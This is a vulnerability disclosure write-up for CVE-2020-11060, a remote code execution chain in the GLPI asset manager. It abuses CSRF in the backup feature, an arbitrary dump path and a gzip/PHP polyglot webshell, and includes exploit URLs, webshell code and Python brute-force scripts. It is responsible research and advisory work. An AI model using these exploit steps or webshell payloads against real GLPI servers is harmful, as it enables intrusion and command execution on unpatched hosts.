Playing with GZIP: RCE in GLPI (CVE-2020-11060)

Published on Tue 12 May 2020 by myst404 (@myst404_)
Edited on Thu 14 May 2020

Product: All GLPI versions from 0.85 (released in 2014) to 9.4.5 (included, released in 2019). More details about the affected versions in the dedicated section.

Type: Remote Code Execution (theoretical: unauthenticated, practical: authenticated)

Summary: GLPI is vulnerable to a Remote Code Execution (RCE) through the backup feature (CVE-2020-11060). An arbitrary path and a hashed path disclosure can be abused to execute code on a GLPI host, by creating a PHP/GZIP polyglot file. We describe an exploitation method that uses a Technician account to achieve RCE through a specially-crafted gzip/php webshell in a WiFi network comment.

Updated to include additional details on affected versions.

From Wikipedia:

GLPI (French acronym: Gestionnaire Libre de Parc Informatique, or "Open Source IT Equipment Manager" in English) is an open source IT Asset Management, issue tracking system and service desk system written in PHP,

Its source code can be found on GitHub.

This article is a deep dive on a vulnerability found in GLPI, others have been identified during the course of this research, you can check them out here: Multiple vulnerabilities in GLPI

Vulnerability details

CSRF

GLPI users with maintenance privileges can perform SQL/XML dumps via the dedicated menu:

Maintenance Menu

These actions are vulnerable to Cross-Site Request Forgery (CSRF). Indeed, GET requests are performed with no additional checks:

By default, dumps are stored in the GLPI_DUMP_DIR directory i.e. they can be found in this directory: http://host/files/_dumps/.
The filename parameter definition looks like this:

<?php
$time_file = date("Y-m-d-H-i");
//For XML Dumps
$filename  = GLPI_DUMP_DIR . "glpi-backup-" . GLPI_VERSION . "-$time_file.xml";
//For SQL Dumps
$filename  = GLPI_DUMP_DIR . "glpi-backup-".GLPI_VERSION."-$time_file.sql.gz";

Example of $filename (/var/www/glpi is the webroot): /var/www/glpi/files/_dumps/glpi-backup-9.4.5-2020-03-02-14-15.sql.gz

What if the GLPI_DUMP_DIR has been changed outside the webroot or is protected, e.g. by a .htaccess?

In theory, this vulnerability could allow blind/unauthenticated exploitation of the RCE - but there are other obstacles to overcome as described later on.

Arbitrary filename

The SQL backup can take the GET parameter fichier as a filename, as seen in /front/backup.php:

<?php
if (!isset($_GET["fichier"])) {
   $fichier = $filename;
} else {
   $fichier = $_GET["fichier"];
}

We can choose where to write our SQL dump, although it is not the case for XML backups. Note, however, that this parameter can not be set via the web interface.

By using a scheme like ftp://, it is possible to use the CSRF to directly write on our own server. In order for this to work, the allow_url_fopen directive must be enabled in php.ini (which is the default setting) and no network rule must block outgoing connections.

It is also possible to write directly in the web root, but the location must be known.

Hashed Path Disclosure

The GLPI cookie name is actually constructed using a hash of the application's path:

<?php
session_name("glpi_".md5(realpath(GLPI_ROOT)));

Example on a test instance:

$ curl -I "http://192.168.1.68/"
HTTP/1.1 200 OK
Date: Thu, 30 Apr 2020 15:15:00 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: glpi_40d1b2d83998fabacb726e5bc3d22129=clmbcjumobsachvvp9cdtev192; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8

$ echo -n "/var/www/html" | md5sum
40d1b2d83998fabacb726e5bc3d22129  -

Using hashcat with a custom path dictionnary allows recovering common locations.

Combined with the previous vulnerabilities, the CSRF/manual backup PoC now looks like this: http://host/front/backup.php?dump=dump&fichier=/var/www/html/dump.sql.gz

Getting a full database dump through a CSRF is nice and all, but having a potential partially-controlled file write in the webroot means we could get remote code execution on the server.

However, the .sql.gz extension is initially used because the backupMySql function defined by GLPI uses the gzopen/gzwrite PHP functions to write the gziped SQL file:

<?php
function backupMySql($DB, $dumpFile, $duree, $rowlimit) {
   global $TPSCOUR, $offsettable, $offsetrow, $cpt;

   // $dumpFile, fichier source
   // $duree=timeout pour changement de page (-1 = aucun)

   if (function_exists('gzopen')) {
      $fileHandle = gzopen($dumpFile, "a");
   } else {
      $fileHandle = gzopen64($dumpFile, "a");
   }

We can write a .php file in the webroot containing a backup of the database - which includes user inputs - but the file is compressed with gzip. So we need a way to craft a polyglot gzip/PHP file, i.e. a gzip MySQL dump containing a PHP webshell, while only partially controlling the content of the database.

PoC

Another hidden GET Parameter

For an attacker, the most interesting scenario is to exploit the vulnerability without any account, just by exploiting the CSRF. Indeed, there are some ways to generate data in the tables, e.g. failed logins that are saved in the glpi_events table:

+------+----------+--------+---------------------+---------+-------+-----------------------------------------------+
| id   | items_id | type   | date                | service | level | message                                       |
+------+----------+--------+---------------------+---------+-------+-----------------------------------------------+
| 8595 |       -1 | system | 2020-03-06 15:44:10 | login   |     3 | Failed login for MyUsername from IP 172.20.0.17 |
+------+----------+--------+---------------------+---------+-------+-----------------------------------------------+

However, an attacker does not control all other tables before and after, so obtaining a determined output in the compressed file looks quite hard (more on this in a bit).

To make things easier, from now on we assume to have a GLPI user with Maintenance privilege (required for backups). This privilege is granted to the default Technician profile, associated to the default tech user (default password: tech).

Another hidden GET parameter in the /front/backup.php file will be useful:

<?php
if (!isset($_GET["offsettable"])) {
   $offsettable = 0;
} else {
   $offsettable = $_GET["offsettable"];
}

The parameter indicates at which table ID the dump must start:

<?php
$result = $DB->listTables();
$numtab = 0;
while ($t = $result->next()) {
   $tables[$numtab] = $t['TABLE_NAME'];
   $numtab++;
}
for (; $offsettable<$numtab; $offsettable++) {
    // Dump de la structure table

By default, all tables are dumped ($offsettable = 0), for the PoC we will use $offsettable = 312: only the last table will be dumped, which is the glpi_wifinetworks table.

A dump of this table looks like this:

### Dump table glpi_wifinetworks

DROP TABLE IF EXISTS `glpi_wifinetworks`;
CREATE TABLE `glpi_wifinetworks` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `entities_id` int(11) NOT NULL DEFAULT '0',
  `is_recursive` tinyint(1) NOT NULL DEFAULT '0',
  `name` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL,
  `essid` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL,
  `mode` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL COMMENT 'ad-hoc, access_point',
  `comment` text COLLATE utf8_unicode_ci,
  `date_mod` datetime DEFAULT NULL,
  `date_creation` datetime DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `entities_id` (`entities_id`),
  KEY `essid` (`essid`),
  KEY `name` (`name`),
  KEY `date_mod` (`date_mod`),
  KEY `date_creation` (`date_creation`)
) ENGINE=InnoDB  DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

INSERT INTO `glpi_wifinetworks` VALUES ('1','0','0','Name','ESSID','ad-hoc','comment','2020-04-25 11:14:39','2020-04-21 10:55:09');

The comment column uses the type TEXT. According the MySQL documentation, it can contain up to roughly 2¹⁶ bytes, which should be enough for our payload to fit.

The Technician profile also has the privilege to add a WiFi network entry by default.

Create WiFi network

This gives more control over the content of the backup file, with only a few lines before and a few characters after our future payload. The only thing to figure out is how to create such a payload so that the gzip dump contains a valid PHP webshell.

Playing with gzip

Introduction

gzip is a lossless compressed data format defined in RFC 1952 as well as a software implementation. The program was created by Jean-Loup Gailly and Mark Adler as a patent-free software replacement for the compress Unix utility.
Basically, the gzip file format is just a wrapper (header and checksum footer) around the DEFLATE algorithm.

The RFC defines the format of an output DEFLATE stream:

A compressed data set consists of a series of blocks, corresponding to successive blocks of input data. The block sizes are arbitrary, except that non-compressible blocks are limited to 65,535 bytes.

Each block is compressed using a combination of the LZ77 algorithm and Huffman coding. The Huffman trees for each block are independent of those for previous or subsequent blocks; the LZ77 algorithm may use a reference to a duplicated string occurring in a previous block, up to 32K input bytes before

DEFLATE defines 3 types of valid block types:

00 - no compression
01 - compressed with fixed Huffman codes
10 - compressed with dynamic Huffman codes
11 - reserved (error)

To select a block type, the compressor used by gzip compares what is shorter between no compression, fixed or dynamic Huffamn codes.

Details of the LZ77 algorithm and Huffman coding are not the object of this article but here is basic description from Wikipedia (emphasis ours):

  • LZ77 algorithms achieve compression by replacing repeated occurrences of data with references to a single copy of that data existing earlier in the uncompressed data stream.
  • The output from Huffman's algorithm can be viewed as a variable-length code table for encoding a source symbol (such as a character in a file). The algorithm derives this table from the estimated probability or frequency of occurrence (weight) for each possible value of the source symbol. More common symbols are represented using fewer bits than less common symbols.

In the fixed Huffman codes blocks, the variable-length code table is described in the DEFLATE RFC and so known by the compressor/decompressor.
A dynamic Huffman code means the variable-length code table is computed specifically for the given input. The code table is included in the emitted block.

Previous research - fixed blocks

The DEFLATE data format is used in multiple file formats, including PNG.

Some researchers already managed to embed a PHP webshell in a PNG image: idontplaydarts, adamlogue, whitton
Globally their approach is the same: preprend/append random bytes to the expected PHP webshell output and decompress until no error is raised.

The idontplaydarts payload is something like:

# Input data to DEFLATE - raw version (" escaped for syntax coloring)
$ php -r "echo hex2bin('03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310') . PHP_EOL;"
��gTo,$+gTo.)+!g\"ko_S

# Input data to DEFLATE - hexdump version (" escaped for syntax coloring)
$ php -r "echo hex2bin('03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310') . PHP_EOL;" | hexdump -C
00000000  03 a3 9f 67 54 6f 2c 24  15 2b 11 67 12 54 6f 11  |...gTo,$.+.g.To.|
00000010  2e 29 15 2b 21 67 22 6b  6f 5f 53 10 0a           |.).+!g\"ko_S..|

# DEFLATE output
$ php -r "echo gzdeflate(hex2bin('03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310')) . PHP_EOL;"
c^<?=$_GET[0]($_POST[1]);?>X

Using the infgen tool from Mark Adler we can obtain more details about the DEFLATE stream:

! infgen 2.4 output
!
last
fixed
literal 3 163 159 'gTo,$
literal 21 '+
literal 17 'g
literal 18 'To
literal 17 '.)
literal 21 '+!g"ko_S
literal 16
end
  • last: this is the last block (only one block here)
  • fixed: the fixed Huffman codes block is used
  • literal: the decimal number of the byte of data or a string of printable characters preceded by a single quote
  • end: we have reached the end of the block

So the fixed Huffman codes were chosen by the DEFLATE compressor. Indeed, the input is quite short and using a dynamic Huffman code would create a bigger block because the code table needs to be included in the block.

These previous PoCs were created without restrictions on the input, but our payload does have some restrictions.
GLPI defines the MySQL encoding as utf8 for the comment column:

`comment` text COLLATE utf8_unicode_ci,

According to MySQL documentation:

utf8 is currently an alias for utf8mb3.

The utf8mb3 character set is actually a 3-byte UTF-8 unicode encoding. It means that all 4-byte UTF-8 characters can not be saved by MySQL 😞.

The payload can only contain characters in the Basic Multilingual Plane (BMP), i.e. one of the first 65536 code points.

Thus, a payload of 0x03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310 like the one described by idontplaycharts will not work: 0xa3 or 0x03a3 are not hex representation of valid UTF-8 characters.

Note: for full UTF8 support in MySQL, the utf8mb4 charset is recommended.

So the fixed Huffman code blocks method is a dead end.

Non compressed blocks

Some digging around uncompressed blocks reveals they are quite interesting because the input is directly included as-is in the output.

Creating directly an uncompressed block of 3-byte UTF-8 characters seems impossible (?) because data before the comment value is preceded by a lot of redundant data like COLLATE utf8_unicode_ci DEFAULT. It would be useless anyway, as we will see later.

As a reminder of what is compressed:

### Dump table glpi_wifinetworks

DROP TABLE IF EXISTS `glpi_wifinetworks`;
CREATE TABLE `glpi_wifinetworks` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `entities_id` int(11) NOT NULL DEFAULT '0',
  `is_recursive` tinyint(1) NOT NULL DEFAULT '0',
  `name` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL,
  `essid` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL,
  `mode` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL COMMENT 'ad-hoc, access_point',
  `comment` text COLLATE utf8_unicode_ci,
  `date_mod` datetime DEFAULT NULL,
  `date_creation` datetime DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `entities_id` (`entities_id`),
  KEY `essid` (`essid`),
  KEY `name` (`name`),
  KEY `date_mod` (`date_mod`),
  KEY `date_creation` (`date_creation`)
) ENGINE=InnoDB  DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

INSERT INTO `glpi_wifinetworks` VALUES ('1','0','0','Name','ESSID','ad-hoc','our comment here','2020-04-25 11:14:39','2020-04-21 10:55:09');

The strategy is to create a specially-crafted comment so that:

  • The first DEFLATE block (Huffman dynamic) - containing the table definition and the beginning of the INSERT statement - is full
  • The next block is uncompressed and contains the PHP webshell

Below is a quick Python3 code to find an uncompressed block.
The script works on the webshell <?php system($_GET[0]);echo `ls`;?>. Adding the ls makes it easier to find an uncompressed and alterable block (i.e. a few characters can be added/removed without causing the block to be compressed).

#!/usr/bin/env python3
from zlib import compress
import random
import multiprocessing as mp

def gen(n): # Generate random bytes in the BMP
    rand_bytes = b''
    for i in range(n):
        rand_bytes = rand_bytes + chr(random.randrange(0, 65535)).encode('utf8', 'surrogatepass')
    return rand_bytes

def attack():
    while True:
        for i in range(1,200):
            rand_bytes = gen(i)
            to_compress = b"<?php system($_GET[0]);echo `ls`;?>','2020-04-21 10:55:09','2020-04-21 10:55:09');"
            to_compress =  rand_bytes +  to_compress # Random bytes are prepended to our payload. We include the dates: there will be compressed too.
            compressed = compress(to_compress)
            if b'php system' in compressed: # Check whether the input is in the output
                    print(to_compress)

if __name__ == "__main__":
    processes = [mp.Process(target=attack) for x in range(8)]

    for p in processes:
        p.start()

Here is a result:

$ cat input_stored
챻紟摌ྪⴇﲈ珹꘎۱⦛ൿ轹σអǑ樆ಧ嬑ൟ냁卝ⅵ㡕蒸榓ꎢ蜒䭘勼ꔗㆾ褅朵顶鎢捴ǕӢퟹ뉌ꕵ붎꺉૾懮㛡نŶ有ʡﳷ䍠죫펪唗鋊嗲켑辋䷪ᰀ쵈ᩚ∰雑𢡊Ս䙝䨌<?php system($_GET[0]);echo `ls`;?>','2020-04-21 10:55:09','2020-04-21 10:55:09');

$ gzip -k input_stored && cat input_stored.gz
)�^input_stored.��챻紟摌ྪⴇﲈ珹꘎۱⦛ൿ轹σអǑ樆ಧ嬑ൟ냁卝ⅵ㡕蒸榓ꎢ蜒䭘勼ꔗㆾ褅朵顶鎢捴ǕӢퟹ뉌ꕵ붎꺉૾懮㛡نŶ有ʡﳷ䍠죫펪唗鋊嗲켑辋䷪ᰀ쵈ᩚ∰雑𢡊Ս䙝䨌<?php system($_GET[0]);echo `ls`;?>','2020-04-21 10:55:09','2020-04-21 10:55:09');
�   �6.

infgen can confirm that the resulting block is indeed a stored block:

$ gzip < input_stored | ./infgen
! infgen 2.4 output
!
gzip
!
last
stored
data 236 177 187 231 180 159 230 145 140 224 190 170 226 180 135 239 178 136 231
data 143 185 239 142 170 234 152 142 219 177 226 166 155 224 181 191 238 167 149
data 232 189 185 207 131 225 158 162 199 145 230 168 134 224 178 167 229 172 145
data 224 181 159 238 144 184 235 131 129 229 141 157 226 133 181 227 161 149 232
data 146 184 230 166 147 234 142 162 232 156 146 228 173 152 229 139 188 234 148
data 151 227 134 190 232 164 133 230 156 181 233 161 182 233 142 162 230 141 180
data 199 149 239 138 170 239 153 164 211 162 238 179 158 237 159 185 235 137 140
data 234 149 181 235 182 142 234 186 137 224 171 190 230 135 174 227 155 161 217
data 134 197 182 230 156 137 202 161 239 179 183 228 141 160 236 163 171 237 142
data 170 229 148 151 233 139 138 229 151 178 236 188 145 232 190 139 228 183 170
data 238 171 167 225 176 128 236 181 136 225 169 154 226 136 176 233 155 145 239
data 171 143 213 141 228 153 157 228 168 140 '<?php system($_GET[0]);echo `ls`;
data '?>','2020-04-21 10:55:09','2020-04-21 10:55:09');
data 10
end
!
crc
length

Now, we need to put a lot of characters before 챻紟摌ྪⴇﲈ珹꘎۱⦛ൿ轹σអǑ樆ಧ嬑ൟ냁卝ⅵ㡕蒸榓ꎢ蜒䭘勼ꔗㆾ褅朵顶鎢捴ǕӢퟹ뉌ꕵ붎꺉૾懮㛡نŶ有ʡﳷ䍠죫펪唗鋊嗲켑辋䷪ᰀ쵈ᩚ∰雑𢡊Ս䙝䨌<?php system($_GET[0]);echo `ls`;?> to fill entirely a block (details about filling a block are a bit further).

So, by using this payload as a comment, we can generate the dump via the URL http://host/front/backup.php?dump=dump&offsettable=312&fichier=/var/www/html/test.php.

However, the PHP webshell is not executed:

Maintenance Menu

An encoded character seems to be the culprit:

Maintenance Menu

Turns out, GLPI's anti-XSS filter encodes the characters < and > before saving them in the database:

<?php
static function clean_cross_side_scripting_deep($value) {

   if ((array) $value === $value) {
      return array_map([__CLASS__, 'clean_cross_side_scripting_deep'], $value);
   }

   if (!is_string($value)) {
      return $value;
   }

   $in  = ['<', '>'];
   $out = ['&lt;', '&gt;'];
   return str_replace($in, $out, $value);
}

Unfortunately, the < character is mandatory to open a PHP tag.

Thus, a raw, uncompressed block cannot be used to open the PHP tag.

Using the uncompressed block's header

According to the RFC, uncompressed blocks start by a small header:

The rest of the block consists of the following information:

      0   1   2   3   4...
    +---+---+---+---+================================+
    |  LEN  | NLEN  |... LEN bytes of literal data...|
    +---+---+---+---+================================+

LEN is the number of data bytes in the block.  NLEN is the
one's complement of LEN.

The 4th byte (second byte of NLEN) could have the value that decodes (when the file is read by the PHP interpreter) to the < character required to open the PHP tag!
The PHP webshell could then continue in the uncompressed bytes of literal data.

Is it possible?

  • < is 0x3c in hexadecimal.
  • The one's complement of 0x3c is 0xc3.
  • The RFC determines how data elements are packed:
* Data elements are packed into bytes in order of
  increasing bit number within the byte, i.e., starting
  with the least-significant bit of the byte.
* Data elements other than Huffman codes are packed
  starting with the least-significant bit of the data
  element.
  • The possibilities are:
From:

      0   1   2   3   4...
    +---+---+---+---+================================+
    | 00 c3 | ff 3c |... 00 c3 bytes of literal data...|
    +---+---+---+---+================================+

To:

      0   1   2   3   4...
    +---+---+---+---+================================+
    | ff c3 | 00 3c |... ff c3 bytes of literal data...|
    +---+---+---+---+================================+
  • The uncompressed block must contain between 15360 and 15615 bytes of literal data.

Unfortunately, it seems impossible (?) to obtain such a long uncompressed block by using only 3-byte UTF-8 characters.
Indeed, the same first byte is frequently reused (example with 0xe0) by multiple UTF-8 characters.
The Huffman codes will take the advantage of this repetition and the compressor will not choose the uncompressed block type, scrambling the webshell.

Again the 3-byte UTF-8 characters limitation makes stuff harder, as without it, constructing an arbitrary sized uncompressed block would be easy.

Final PoC

The choosen bypass trick is opening the PHP tag in the dynamic block preceding the uncompressed block.

The gzip file will look like this (line-separated for clarity):

[gzip header]
[beginning of the first block which is dynamic]
[data compressed with dynamic Huffman codes - part 1]
[opening PHP tag]
[data compressed with dynamic Huffman codes - part 2]
[end of the first block]
[beginning of the second and last block which is uncompressed]
[PHP webshell and padding data to obtain a stored block]
[end of the second block]
[gzip footer]

How to open the PHP tag?

The gzip file will look like this, the stored block has been reworked to account for the fact that PHP:

  • Does not care if there is no end tag
  • Only raises a warning (not an error) if there is an unclosed comment
[gzip header]
[beginning of the first block which is dynamic]
[data compressed with dynamic Huffman codes - part 1]
<?=/*
[data compressed with dynamic Huffman codes - part 2]
[end of the first block]
[beginning of the second and last block which is uncompressed]
*/system($_GET[0]);echo `ls`;/*챻紟摌ྪⴇﲈ珹꘎۱⦛ൿ轹σអǑ樆ಧ嬑ൟ냁卝ⅵ㡕蒸榓ꎢ蜒䭘勼ꔗㆾ褅朵顶鎢捴ǕӢퟹ뉌ꕵ붎꺉૾懮㛡نŶ有ʡﳷ䍠죫펪唗鋊嗲켑辋䷪ᰀ쵈ᩚ∰雑𢡊Ս䙝䨌,'2020-04-21 10:55:09','2020-04-21 10:55:09');
[end of the second block]
[gzip footer]

We can now write a Python3 script to bruteforce a full dynamic block that includes <?=/* (hopefully without a comment end until the end of the block):

#!/usr/bin/env python3
from zlib import compress
import random
import multiprocessing as mp

# Padding is done with ASCII characters so it is easier to manipulate
# Characters that are escaped (like "'") or encoded, are removed
seq = list(range(40,60)) + list(range(63,92)) + list(range(93,127))

# Generate n random bytes from seq
def gen(n):
    rand_bytes = b''
    for i in range(n):
        rand_bytes = rand_bytes + chr(random.choice(seq)).encode('utf8', 'surrogatepass')
    return rand_bytes

def attack():
    # We use our initial payload for a stored block, in case some characters are used in the dynamic block  
    beginning_stored_block = bytes("챻紟摌ྪⴇﲈ珹꘎۱⦛ൿ轹σអǑ樆ಧ嬑ൟ냁卝ⅵ㡕蒸榓ꎢ蜒䭘勼ꔗㆾ褅朵顶鎢捴ǕӢퟹ뉌ꕵ붎꺉૾懮㛡نŶ有ʡﳷ䍠죫펪唗鋊嗲켑辋䷪ᰀ쵈ᩚ∰雑𢡊Ս䙝䨌<?php system($_GET[0]);echo `ls`;?>','2020-04-21 10:55:09','2020-04-21 10:55:09');", 'utf-8')
    beginning_dynamic_block = b'''
### Dump table glpi_wifinetworks

DROP TABLE IF EXISTS `glpi_wifinetworks`;
CREATE TABLE `glpi_wifinetworks` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`entities_id` int(11) NOT NULL DEFAULT '0',
`is_recursive` tinyint(1) NOT NULL DEFAULT '0',
`name` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL,
`essid` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL,
`mode` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL COMMENT 'ad-hoc, access_point',
`comment` text COLLATE utf8_unicode_ci,
`date_mod` datetime DEFAULT NULL,
`date_creation` datetime DEFAULT NULL,
PRIMARY KEY (`id`),
KEY `entities_id` (`entities_id`),
KEY `essid` (`essid`),
KEY `name` (`name`),
KEY `date_mod` (`date_mod`),
KEY `date_creation` (`date_creation`)
) ENGINE=InnoDB  DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

INSERT INTO `glpi_wifinetworks` VALUES ('1','0','0','PoC','RCE','ad-hoc',\''''

    while True:
        for i in range(16190,16500): #These values are optimized to fill a full block, it fits in the 2¹⁶ bytes limitation
            rand_bytes = gen(i)
            to_compress = b''
            to_compress = beginning_dynamic_block + rand_bytes +  beginning_stored_block
            compressed = compress(to_compress)
            # We want an uncompressed block and the PHP opening tag
            if b'php system' in compressed and b'<?=/*' in compressed:
                    print(compressed)
                    print(rand_bytes)

if __name__ == "__main__":
    processes = [mp.Process(target=attack) for x in range(8)]

    for p in processes:
        p.start()

After a night of calculation on multiple servers, there is one result!
While the above script is a crude, non-optimized method, the duration of calculation still shows that bruteforcing only a dynamic block until we have even a basic PHP webshell would be quite long/costly.

Here is the PoC, i.e. the comment to insert into a WiFi network entry. This entry can be created in the web interface (again provided the attacker has a Technician account):

PoC Step 1

Then create the compressed dump : http://host/front/backup.php?dump=dump&offsettable=312&fichier=/var/www/html/shell.php

And profit!

PoC Step 2

Final notes

The example shown here assumes that there are no other WiFi network already saved. If there are some, we have everything needed to rearrange the payload to make it work. In the worst case scenario, the attacker can delete them, put the shell, and then recreate the WiFi networks.

Exploiting the vulnerability without a valid user is left as an exercise to the reader.
Theoretically, this vulnerability could be exploited by an attacker without a valid account, as she can add data in the database via failed logins (logs are saved in the glpi_events table) and then trigger the CSRF. Practically, it is probably hard to find a valid PoC blindly, but maybe someone can figure it out - if so let me know!

Note: the gzip and the zlib-flate commands do not give the same results, seemingly because of different block sizes. zlib-flate gives the same result as PHP's gzwrite().

Remediation

A fix is provided in GLPI 9.4.6: the backup feature has been removed.

Related Security Advisory.

Affected versions

The possibility to exploit the CSRF and choose the filename (and path via a path traversal) was introduced in July 2004 and released with version 0.40. Back then, the SQL dump was written in plaintext, so it was quite easy to obtain a webshell. PHP5 was not even supported by GLPI at that time.

The RCE worked until the anti-XSS function was created in January 2006 (version 0.65). From this moment, only abuse the CSRF and arbitrary filename vulnerabilities could be abused, but did not lead to RCE as the < character was encoded.

Finally, in April 2014 (with version 0.85), GLPI started to use the gzip compression in backup.php. This allows exploiting the RCE again, 10 years after the introduction of the vulnerability. The glpi_wifinetworks table definition was slightly different at this moment, so the linked PoC will not work as-is but can be easily adapted.

To sum up, while the backup feature had security issues for a long time, the chain of vulnerabilities detailed in this article works from version 0.85, released in 2014.

Timeline

2020-04-27: Vulnerability reported according to the Security Policy.

2020-04-28: Fixed pushed in the branch 9.4/bugfixes.

2020-05-05: GLPI 9.4.6 is released.

2020-05-08: CVE-2020-11060 issued.

2020-05-12: Publication of this advisory.

References

Here are some references helpful to understand the gzip format: